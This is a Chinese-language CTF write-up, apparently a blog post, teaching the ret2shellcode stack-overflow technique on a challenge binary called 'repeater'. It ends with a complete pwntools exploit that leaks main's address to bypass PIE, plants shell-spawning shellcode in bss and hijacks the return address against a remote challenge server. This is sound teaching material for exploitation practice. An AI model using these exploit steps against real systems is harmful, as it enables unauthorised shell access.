前言
ret2shellcode是pwn中栈溢出利用的一种技术,适合用在没有NX保护的情况,可通过手动往bss段中写入shellcode,然后控制返回地址,执行这个shellcode来获取system shell
有几点说明:
shellcode可理解为一段窃取system shell的代码,可直接用Python第三方库pwn库中的asm(shellcraft.sh())
对于有NX保护的情况,因为攻击者只能通过栈溢出控制栈上的数据,无法直接控制寄存器,因此用ret2shellcode这种方法来获取system shell就不行了,此时常需要用到ret2libc技术,可看我的另一篇博客:【网安】pwn-ret2libc-CSDN博客
下面用一道泰山杯的真题repeater来进行讲解
题目描述

题目给了一个附件和一个远程攻击的服务器IP地址和端口号,附件中只有一个二进制文件repeater

WriteUp
静态分析
CTF中pwn类型的题目遵循一定的套路,我们先用IDA反汇编+反编译打开这个二进制文件看看,找到main函数

先分析一下这个main函数
函数中有三个变量:s,距离栈底指针bp有30h(48)个字节;v5,距离bp有10h(16)个字节;i,距离bp有4h(4)个字节
下面用puts输出两句提示信息后利用sub_982函数读入最多48个字节数据到unk_202040变量中,sub_982函数内容如下图所示,只要能看出来是用于读取用户输入的就可以

再往下,在没有人为干预情况下v5=1192227,因此进入循环,循环中重点是用read函数读取0x40(64)个字节的数据到s中,而s到bp只有48个字节,这是一个很明显的栈溢出。另外还需要注意到,当v5=3281697时程序会把main函数的地址泄露出来,这一点或许会有助于计算我们想要的函数或变量地址
对于栈溢出问题,我们可根据二进制文件的保护措施不同来采取不同的攻击策略,因此需要先查看一下保护措施,这里用Linux下gdb调试工具查看

可以看到,该二进制文件没有NX保护,但有PIE保护,因此判定可使用ret2shellcode技术解题,结合目前已经获取的信息,主要思路如下:
(1)将shellcode写入unk_202040变量中
(2)构造第一次payload,利用栈溢出覆盖原v5的值,使之等于3281697,进而使程序泄露main函数地址
(3)接收泄露的main函数地址,利用其计算出unk_202040变量地址(绕过PIE保护)
(4)构造第二次payload,利用栈溢出,在将返回地址覆盖为unk_202040变量地址(shellcode地址)的同时将v5置0,退出循环
(5)退出循环后因为返回地址已被覆盖,因此程序不会结束,而是跳转到shellcode执行,进而获取到system shell
接下来详细介绍每一步
解题步骤
1 写入shellcode
这一步很简单,直接利用main函数的sub_982函数进行写入即可,但要注意写入时机需在输出完提示信息"name :"之后,防止写入到了奇怪的地方。代码如下
python
shellcode = asm(shellcraft.sh())
io.sendlineafter("name :", shellcode)#shellcode存到bss段,下面构造payload时就可以直接写shellcode地址了
2 泄露main函数地址
这一步的关键是利用栈溢出构造payload,把原来v5的值覆盖掉,使之变成3281697,从而使 if 判断成立,程序泄露main函数地址,代码如下
python
payload = cyclic(0x20)+p64(3281697)
io.sendlineafter("input :", payload)
仍然要注意写入时机
3 接收main函数地址,计算unk_202040变量地址
这步主要是利用"相对地址不变"的特点,接收到main函数地址后先利用它计算出实际运行时,可执行文件的加载基址,再用这个加载基址计算出unk_202040变量的地址
而main函数和unk_202040变量的相对基址的地址都可在IDA中查到,如下图


代码如下
python
io.readuntil('you :\n')
content = io.readline()[:-1]#最后一位的换行符不要
binary_base = int(content, 16) - 0xa33 #实际加载的内存基址(整个文件的)
shellcode_addr=binary_base+0x202040
4 将返回地址覆盖为unk_202040变量地址,退出循环
这一步就与ret2text的普通栈溢出的构造payload方式一样了,只不过是用shellcode地址覆盖返回地址而不是用system函数的地址,代码如下
python
payload = cyclic(0x20)
payload += p64(0x0)#number=0
payload += p64(0x1111111111111111)#i=0x11111111,下次循环条件就不成立了,退出循环
payload += cyclic(8)#EBP随便填充
payload += p64(shellcode_addr)#覆盖返回地址
这部分主要结合着栈结构来看,不好理解的话可以画出栈的内存示意图,实在看不懂也可看我的另一篇博客:【网安】pwn-ret2text-CSDN博客 这篇博客中讲的更加浅显易懂
5 获取system shell
把最终payload发送,获取system shell即可,仍然要注意发送时机,代码如下
python
io.sendlineafter("input :", payload)#注意发送时机
io.interactive()
完整代码
python
from pwn import *
context(os='linux', arch='amd64',log_level='debug')
# io = process('./repeater')
io=remote("61.147.171.103",58192)
shellcode = asm(shellcraft.sh())
io.sendlineafter("name :", shellcode)#shellcode存到bss段,下面构造payload时就可以直接写shellcode地址了
payload = cyclic(0x20)+p64(3281697)
io.sendlineafter("input :", payload)
io.readuntil('you :\n')
content = io.readline()[:-1]#最后一位的换行符不要
binary_base = int(content, 16) - 0xa33 #实际加载的内存基址(整个文件的)
shellcode_addr=binary_base+0x202040 #0x202040是name的相对地址,shellcode_addr存放shellcode
#第二次循环
payload = cyclic(0x20)
payload += p64(0x0)#number=0
payload += p64(0x1111111111111111)#i=0x11111111,下次循环条件就不成立了,退出循环
payload += cyclic(8)#EBP随便填充
payload += p64(shellcode_addr)#覆盖返回地址
io.sendlineafter("input :", payload)
io.interactive()